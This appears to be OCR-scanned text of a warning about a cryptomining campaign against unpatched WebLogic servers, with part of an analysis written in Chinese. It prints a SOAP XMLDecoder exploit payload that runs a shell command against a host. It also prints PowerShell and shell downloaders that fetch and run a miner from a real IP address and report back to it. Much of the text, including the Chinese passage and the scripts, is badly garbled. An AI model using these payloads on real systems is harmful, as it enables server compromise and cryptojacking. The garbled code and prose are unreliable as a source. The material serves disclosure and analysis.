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Heads up if you're using an unpatched
weblogic version, ended up finding some
unprivileged "watch-smartd" binary in Linux

doing cryptomining to "minexmr dot com”
and "minergate dot com"...
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https://www.securityfocus.com/bid/101304
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2 <soapenv:Envelope xzmlns:soapenv="http://schemsa.xmlsoap.org/socap/envelope">
3 <soapenv:Header>

4 <work:WorkContext xzmlns:Work="http://xxx.com/socap/workarea">
5 <java> p—

6 <object -'__—

| m— i

8 =0

9 <string>/bin/sh</string>
10 </void>
11 <void index="1">

>

<string>-c</string>
</void>
<void index="2">
<string>curl http://xxx.com</string>
</void>
</array>
<void method="start/">
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>

</soapenv:Envelope>
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“cmd.exe /c” ZEILNFF “PowerShell.exe” HATFEAR T HAR ZE AL AT

2. 3L http 15K FIH Weblogic &7 FitiwiH (CVE-2017-3248) W H Linux [ wget T~
% shell JAIAFH A Linux AHh “/bin/bash” $AT shell A, (shell JIA N2 & LT M
T N # AT watch-smartd 128 FE 72 #1405

3. FH Weblogic WLS 4w (CVE-2017-10271) H Windows H ] powershell #4T
FEAR N EAIZAT .

4. F|H WebLogic WLS ZH4JWIH (CVE-2017-10271) WA Linux [ wget F#k shell JiIA
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2 /e "powershell -nop -c "iex (New-Cbject Net.WebClient) .DownleoadString('http://72.11.140.178/auto—upgrade”)""
—nop —c¢ "iex(New—Cbject Net.WebClient).DownloadString (*http://72.11.140.178/auto-upgrade”)"

SSELF COPY = "SHOME‘\auto-upgrade"
SHSST = "http://72.11.140.178"
SCALLBRACK = SHSST

SDEFRULT RFILE = "$HSST/files/w/default”
SOTHERS RFILE = "SHSST/files/w/others"
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SLFILE NRME = "auto-upgrade.exe"
$LFILE7PATH = "$env:TMP\$LFILE7NAME"

[t=}

SDOWNLOADER = New-Object System.Net.WebClient
$SYSTEM BIT [System.IntPtr]::size
if $SYSTEM BIT -eq 8 ) {
SDOWNLOADER. DownloadFile (SDE FAULT RFILE, SLFILE PATH)
} else |
SDOWNLOADER. DownloadFile (SOTHERS RFILE, SLFILE PATH)
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}

if ( ! (Get-Process auto-upgrade -ErrorAction SilentlyContinue) ) |
SDOWNL.OADER . DownloadString ("SCALLBACK/ 2info=wil")
cmd.exe /c SLFILE_PATH -B

} else {
SDOWNLOADER. DownloadString ("SCALLBACK/?info=wo")
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DOWNLOAD
# DOWNLOA

DEFAULT RFILE=$HOST/
OTHERS_RFILE=$HOST/

"watch-smartd”
PATH="pwd”™ /$LFILE NAME
E_PATH=/tmp/$LFILE_NAME

DEFAULT ( )

! $DEFAULT RFILE > $LFILE PATH
$LFILE PATH

| rep $L

ne

PATH

JADER "${CALLBACK}/?info=169"

R $OTHERS RFILE
FILE PATH
$LFILE_NAME ]:

$? -ne O |: then

$LFILE PATH -B &% $DOWNLOADER "${CALLBACK}/?info=130"
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java.io.lOException: Cannot run program'cmd.exe": java.io.lOException: error=2, No such file or directory

5%+ Windows FHL:

java.io.IOException: Cannot run program “/bin/bash":java.io.IOException: error=2, No such file or directory
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